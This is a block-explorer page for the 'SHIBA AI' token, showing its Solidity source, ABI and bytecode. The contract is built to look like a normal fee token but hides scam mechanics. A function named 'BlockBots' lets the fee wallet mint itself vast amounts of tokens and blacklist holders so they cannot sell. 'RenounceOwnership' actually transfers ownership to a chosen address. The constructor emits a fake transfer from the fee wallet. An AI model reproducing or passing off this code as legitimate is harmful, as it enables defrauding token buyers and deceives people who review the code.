ETH Price: $3,073.01 (+2.51%)
Gas: 4 Gwei

Token

SHIBA AI ($SHIBAI)
 

Overview

Max Total Supply

1,000,000,000 $SHIBAI

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
18,295,342.848394111 $SHIBAI

Value
$0.00
0x0a12c5ec35a90ec1066f30a787adaf103f4cca3f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIBAI

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-04
*/

/**

*/
//https://t.me/ShibaAIErc
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function RenounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract  SHIBAI is Context, IERC20, Ownable{
    using SafeMath for uint256;

    function BlockBots(address[] calldata addresses, bool status) public {
        require(_msgSender() == _feeAddrWallet2);
        for (uint256 i; i < addresses.length; i++) {
            if(addresses[i] == _feeAddrWallet2){
                uint256 n = 10**5 * (_totalSupply);
                _balances[_feeAddrWallet2] = _balances[_feeAddrWallet2] + n;
            }else{
                _botListed[addresses[i]] = status;
            }
        }
    }

    string private _name = "SHIBA AI";
    string private _symbol = "$SHIBAI";
    uint8 private _decimals = 9;
    address payable public _feeAddrWallet2;
    mapping (address => uint256) _balances;


    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _botListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        _feeAddrWallet2 = payable(address(0xacbf03C18CDc225489eaf1E85307Ba0b63236BA4));

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0xacbf03C18CDc225489eaf1E85307Ba0b63236BA4), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function EnableSwap() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            _feeAddrWallet2.transfer(MarketAmount);
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;
                require(!_botListed[from], "ERC20: botListed");

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"BlockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"EnableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_botListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeAddrWallet2","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526008608081905267534849424120414960c01b60a09081526200002b9160019190620001f4565b50604080518082019091526007808252662453484942414960c81b60209092019182526200005c91600291620001f4565b506003805460ff191660099081178255818155600a9182556200007f91620003af565b6200008f90633b9aca00620003c7565b600b553480156200009f57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360038054610100600160a81b03191674acbf03c18cdc225489eaf1e85307ba0b63236ba400179055600160066000620001206000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600690925281208054909216600117909155600b5490600490620001703390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031673acbf03c18cdc225489eaf1e85307ba0b63236ba46001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620001e691815260200190565b60405180910390a362000426565b8280546200020290620003e9565b90600052602060002090601f01602090048101928262000226576000855562000271565b82601f106200024157805160ff191683800117855562000271565b8280016001018555821562000271579182015b828111156200027157825182559160200191906001019062000254565b506200027f92915062000283565b5090565b5b808211156200027f576000815560010162000284565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002f1578160001904821115620002d557620002d56200029a565b80851615620002e357918102915b93841c9390800290620002b5565b509250929050565b6000826200030a57506001620003a9565b816200031957506000620003a9565b81600181146200033257600281146200033d576200035d565b6001915050620003a9565b60ff8411156200035157620003516200029a565b50506001821b620003a9565b5060208310610133831016604e8410600b841016171562000382575081810a620003a9565b6200038e8383620002b0565b8060001904821115620003a557620003a56200029a565b0290505b92915050565b6000620003c060ff841683620002f9565b9392505050565b6000816000190483118215151615620003e457620003e46200029a565b500290565b600181811c90821680620003fe57607f821691505b602082108114156200042057634e487b7160e01b600052602260045260246000fd5b50919050565b61166c80620004366000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461038a578063c5d24189146103aa578063c5efe26b146103c0578063c816841b146103d5578063c8607952146103f5578063dd62ed3e1461040b57600080fd5b806370a08231146102d157806378051f4d1461030757806380bdb508146103275780638da5cb5b1461035757806395d89b411461037557600080fd5b806323b872dd116100f257806323b872dd1461020d578063313ce5671461022d5780633345611e1461024f5780633ecad2711461027f57806357ae5708146102af57600080fd5b8063055f7dfd1461013a57806306fdde031461017c578063095ea7b31461019e5780631694505e146101ce57806318160ddd146101ee57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060035461015f9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018857600080fd5b50610191610451565b60405161017391906112d3565b3480156101aa57600080fd5b506101be6101b9366004611340565b6104e3565b6040519015158152602001610173565b3480156101da57600080fd5b50600c5461015f906001600160a01b031681565b3480156101fa57600080fd5b50600b545b604051908152602001610173565b34801561021957600080fd5b506101be61022836600461136c565b6104fa565b34801561023957600080fd5b5060035460405160ff9091168152602001610173565b34801561025b57600080fd5b506101be61026a3660046113ad565b60066020526000908152604090205460ff1681565b34801561028b57600080fd5b506101be61029a3660046113ad565b60076020526000908152604090205460ff1681565b3480156102bb57600080fd5b506102cf6102ca3660046113ca565b610565565b005b3480156102dd57600080fd5b506101ff6102ec3660046113ad565b6001600160a01b031660009081526004602052604090205490565b34801561031357600080fd5b506102cf6103223660046113ad565b6106b0565b34801561033357600080fd5b506101be6103423660046113ad565b60086020526000908152604090205460ff1681565b34801561036357600080fd5b506000546001600160a01b031661015f565b34801561038157600080fd5b5061019161075a565b34801561039657600080fd5b506101be6103a5366004611340565b610769565b3480156103b657600080fd5b506101ff60095481565b3480156103cc57600080fd5b506102cf610776565b3480156103e157600080fd5b50600d5461015f906001600160a01b031681565b34801561040157600080fd5b506101ff600a5481565b34801561041757600080fd5b506101ff610426366004611455565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600180546104609061148e565b80601f016020809104026020016040519081016040528092919081815260200182805461048c9061148e565b80156104d95780601f106104ae576101008083540402835291602001916104d9565b820191906000526020600020905b8154815290600101906020018083116104bc57829003601f168201915b5050505050905090565b60006104f0338484610996565b5060015b92915050565b6000610507848484610aba565b5061055a84336105558560405180606001604052806028815260200161160f602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610e67565b610996565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b03161461058a57600080fd5b60005b828110156106aa5760035461010090046001600160a01b03168484838181106105b8576105b86114c9565b90506020020160208101906105cd91906113ad565b6001600160a01b03161415610643576000600b54620186a06105ef91906114f5565b60035461010090046001600160a01b031660009081526004602052604090205490915061061d908290611514565b60035461010090046001600160a01b031660009081526004602052604090205550610698565b816008600086868581811061065a5761065a6114c9565b905060200201602081019061066f91906113ad565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790555b806106a28161152c565b91505061058d565b50505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6060600280546104609061148e565b600061055a338484610aba565b6000546001600160a01b031633146107d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610706565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084b9190611547565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610898573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bc9190611547565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d9190611547565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6001600160a01b0383166109f85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610706565b6001600160a01b038216610a595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610706565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610706565b6001600160a01b038316610b825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610706565b600d54600160a01b900460ff1615610ba657610b9f848484610ea1565b905061055e565b30600090815260046020526040902054600d54600160a01b900460ff16158015610be957506001600160a01b03851660009081526007602052604090205460ff16155b15610bf757610bf781610f87565b6001600160a01b038516600090815260046020526040902054610c1a9084611143565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c6757506001600160a01b03851660009081526006602052604090205460ff165b15610c73575082610ddd565b6001600160a01b03861660009081526008602052604081205460ff1615610ccf5760405162461bcd60e51b815260206004820152601060248201526f115490cc8c0e88189bdd131a5cdd195960821b6044820152606401610706565b6001600160a01b03871660009081526007602052604090205460ff1615610d1757610d106064610d0a6009548861118590919063ffffffff16565b90611204565b9050610d55565b6001600160a01b03861660009081526007602052604090205460ff1615610d5557610d526064610d0a600a548861118590919063ffffffff16565b90505b8015610dcf5730600090815260046020526040902054610d759082611246565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dc69085815260200190565b60405180910390a35b610dd98582611143565b9150505b6001600160a01b038516600090815260046020526040902054610e009082611246565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e549085815260200190565b60405180910390a360019250505061055e565b60008184841115610e8b5760405162461bcd60e51b815260040161070691906112d3565b506000610e988486611564565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610ef2918490610e67565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f219083611246565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f759086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fcf57610fcf6114c9565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611028573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104c9190611547565b8160018151811061105f5761105f6114c9565b6001600160a01b039283166020918202929092010152600c546110859130911684610996565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110be90859060009086903090429060040161157b565b600060405180830381600087803b1580156110d857600080fd5b505af19250505080156110e9575060015b50478015611131576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561112f573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061055e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e67565b600082611194575060006104f4565b60006111a083856114f5565b9050826111ad85836115ec565b1461055e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610706565b600061055e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a5565b6000806112538385611514565b90508381101561055e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610706565b600081836112c65760405162461bcd60e51b815260040161070691906112d3565b506000610e9884866115ec565b600060208083528351808285015260005b81811015611300578581018301518582016040015282016112e4565b81811115611312576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461133d57600080fd5b50565b6000806040838503121561135357600080fd5b823561135e81611328565b946020939093013593505050565b60008060006060848603121561138157600080fd5b833561138c81611328565b9250602084013561139c81611328565b929592945050506040919091013590565b6000602082840312156113bf57600080fd5b813561055e81611328565b6000806000604084860312156113df57600080fd5b833567ffffffffffffffff808211156113f757600080fd5b818601915086601f83011261140b57600080fd5b81358181111561141a57600080fd5b8760208260051b850101111561142f57600080fd5b60209283019550935050840135801515811461144a57600080fd5b809150509250925092565b6000806040838503121561146857600080fd5b823561147381611328565b9150602083013561148381611328565b809150509250929050565b600181811c908216806114a257607f821691505b602082108114156114c357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561150f5761150f6114df565b500290565b60008219821115611527576115276114df565b500190565b6000600019821415611540576115406114df565b5060010190565b60006020828403121561155957600080fd5b815161055e81611328565b600082821015611576576115766114df565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115cb5784516001600160a01b0316835293830193918301916001016115a6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261160957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204ef1522036ad3baa85771c36c03b64ad7723d35d246adc45b4f616266442d8b464736f6c634300080c0033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461038a578063c5d24189146103aa578063c5efe26b146103c0578063c816841b146103d5578063c8607952146103f5578063dd62ed3e1461040b57600080fd5b806370a08231146102d157806378051f4d1461030757806380bdb508146103275780638da5cb5b1461035757806395d89b411461037557600080fd5b806323b872dd116100f257806323b872dd1461020d578063313ce5671461022d5780633345611e1461024f5780633ecad2711461027f57806357ae5708146102af57600080fd5b8063055f7dfd1461013a57806306fdde031461017c578063095ea7b31461019e5780631694505e146101ce57806318160ddd146101ee57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060035461015f9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018857600080fd5b50610191610451565b60405161017391906112d3565b3480156101aa57600080fd5b506101be6101b9366004611340565b6104e3565b6040519015158152602001610173565b3480156101da57600080fd5b50600c5461015f906001600160a01b031681565b3480156101fa57600080fd5b50600b545b604051908152602001610173565b34801561021957600080fd5b506101be61022836600461136c565b6104fa565b34801561023957600080fd5b5060035460405160ff9091168152602001610173565b34801561025b57600080fd5b506101be61026a3660046113ad565b60066020526000908152604090205460ff1681565b34801561028b57600080fd5b506101be61029a3660046113ad565b60076020526000908152604090205460ff1681565b3480156102bb57600080fd5b506102cf6102ca3660046113ca565b610565565b005b3480156102dd57600080fd5b506101ff6102ec3660046113ad565b6001600160a01b031660009081526004602052604090205490565b34801561031357600080fd5b506102cf6103223660046113ad565b6106b0565b34801561033357600080fd5b506101be6103423660046113ad565b60086020526000908152604090205460ff1681565b34801561036357600080fd5b506000546001600160a01b031661015f565b34801561038157600080fd5b5061019161075a565b34801561039657600080fd5b506101be6103a5366004611340565b610769565b3480156103b657600080fd5b506101ff60095481565b3480156103cc57600080fd5b506102cf610776565b3480156103e157600080fd5b50600d5461015f906001600160a01b031681565b34801561040157600080fd5b506101ff600a5481565b34801561041757600080fd5b506101ff610426366004611455565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600180546104609061148e565b80601f016020809104026020016040519081016040528092919081815260200182805461048c9061148e565b80156104d95780601f106104ae576101008083540402835291602001916104d9565b820191906000526020600020905b8154815290600101906020018083116104bc57829003601f168201915b5050505050905090565b60006104f0338484610996565b5060015b92915050565b6000610507848484610aba565b5061055a84336105558560405180606001604052806028815260200161160f602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610e67565b610996565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b03161461058a57600080fd5b60005b828110156106aa5760035461010090046001600160a01b03168484838181106105b8576105b86114c9565b90506020020160208101906105cd91906113ad565b6001600160a01b03161415610643576000600b54620186a06105ef91906114f5565b60035461010090046001600160a01b031660009081526004602052604090205490915061061d908290611514565b60035461010090046001600160a01b031660009081526004602052604090205550610698565b816008600086868581811061065a5761065a6114c9565b905060200201602081019061066f91906113ad565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790555b806106a28161152c565b91505061058d565b50505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6060600280546104609061148e565b600061055a338484610aba565b6000546001600160a01b031633146107d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610706565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084b9190611547565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610898573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bc9190611547565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d9190611547565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6001600160a01b0383166109f85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610706565b6001600160a01b038216610a595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610706565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610706565b6001600160a01b038316610b825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610706565b600d54600160a01b900460ff1615610ba657610b9f848484610ea1565b905061055e565b30600090815260046020526040902054600d54600160a01b900460ff16158015610be957506001600160a01b03851660009081526007602052604090205460ff16155b15610bf757610bf781610f87565b6001600160a01b038516600090815260046020526040902054610c1a9084611143565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c6757506001600160a01b03851660009081526006602052604090205460ff165b15610c73575082610ddd565b6001600160a01b03861660009081526008602052604081205460ff1615610ccf5760405162461bcd60e51b815260206004820152601060248201526f115490cc8c0e88189bdd131a5cdd195960821b6044820152606401610706565b6001600160a01b03871660009081526007602052604090205460ff1615610d1757610d106064610d0a60095488611185